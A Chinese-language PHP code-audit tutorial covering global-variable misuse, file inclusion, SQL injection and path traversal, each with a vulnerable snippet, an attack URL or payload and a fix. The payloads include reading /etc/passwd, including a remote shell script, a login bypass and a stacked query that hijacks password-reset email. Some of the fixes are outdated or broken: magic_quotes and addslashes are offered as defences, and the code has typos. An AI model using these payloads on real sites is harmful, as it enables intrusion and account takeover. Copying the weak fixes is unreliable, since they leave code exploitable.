PHP代码审计

0X01.全局变量

php中并不需要申明全局变量，当必须使用它时会自动创建
例：
前 if($is_admin==1){
..... //此时会重定向到管理界面
}else{
.....
}
利用：在文件bugged.php提交
http://127.0.0.1/bugged.php?is_admin=1

后 $is_admin=0; //申明变量
if($is_admin==1){
..... //此时会重定向到管理界面
}else{
.....
}

0X02.文件包含

-------动态包含文件（部分路径名包含在某些变量中），而变量又未申明
例：

前 <?php
include "/users/".$include_path.".php";
?>
利用：http://127.0.0.1/bugged.php?include_path=../../../etc/passwd
提交恶意数据，使其包含了/etc/passwd文件
是一个NULL字符，用于删除php文件扩展名


--------远程文件包含

前：<?php
include ($GET['pag']);
?>

利用：对$pag文件没有进行验证的话，可以通过浏览器的包含或者调用他的脚本
获得电脑的访问权

1.提权

http://127.0.0.1/inc.php?pag=[Evil Script -our shell located on our server]
2.浏览文件
http://127.0.0.1/inc.php?pag=/ect/passwd

修改：创建一个可访问页面的列表，对输入值进行验证
<?php
...
$pag=$_GET['pag'];
$pags=array('index.php','alfa.php','gamma.php');
if(in_array($pag,$pags)){
include($pag);
}else{
die("Hacking Attempt!");
}
...
?>

0X03.跨站脚本

0X04.SQL注入

(') 用于划分字符
(#) 用于注释
(;)在数据库中用来构造新的请求语句

例：绕过登录验证--获得管理权限
<?php
...
//登录脚本
$nick=$_POST['nick'];
$pass=$_POST['post'];
$link=mysql_connect('localhost','root','root')or die('Error'.mysql_error());
mysql_select_db("sql_inj",$link);

$query=mysql_query("SELECT*FROM sql_inj WHERE nick='".$nick"'AND
pass='".$pass."'",$link);
if(mysql_num_rows($query)==0){
echo"<script type=\"test/javascript\">
window.location.href='index.html';</script>";
exit;
$logged=1

...
}
?>
此处两个变量用于SQL请时没有进行任何有效的验证，所以可以进行注入
恶意构造1：
$nick=1'OR'1'='1
$pass=1'OR'1'='1

"SELECT*FROM sql_inj WHERE nick='1'OR'1'='1'AND pass='1'OR'1'='1'"
恶意构造2：
$nick=1'OR'1'='1'#
$pass=what_we_want_to_put
"SELECT*FROM sql_inj WHERE nick='1'OR'1'='1'AND pass='what_we_want_to_put'"


例
<?php
//邮件脚本
...
$email=$_POST['email'];
...
$query=mysql_query("SELECT email,passwd,user_name FROM users WHERE email='".$email."'");
...
?>

构造语句：
$email=x';UPDATE users SET email ='[email protected]'
WHERE email='[email protected]';
这样用[email protected]就能收到密码


修补：php.ini文件
1.set magic_quotes_gcp to On
在(')(")(\)和 NULL 前自动加入转义符

2.use addslashes()
在字符串前面加上斜杠

3.htmlspecialchars()
将指定字符转化成html实体

4.mysql_escape_string()
转义mysql_query中使用的字符串

5.www.php.net

6.验证用户提取的信息
$user_id=(int)$_GET['user_id']; 这里的id都是整数

0X05 文件遍历

<?php
..
$fp=fopen("/path/{$_GET['filename']}.txt",'r');
..
?>

由于filename可被远程修改，会导致文件遍历漏洞
可以利用（../）来移动目录查看文件
构造：
http://127.1/path/bug.php?filename=../../../path_of_another_file
以突破文件扩展名限制

修补：使用basename()函数
<?php
$clean=array();
if(basename($_GET['filemname'])==$_GET['filename']){
$clean['filename']=$_GET['filename'];
}
else{
..
}
$fp=fopen("/path/{$clean['filename']}.txt",'r');
?>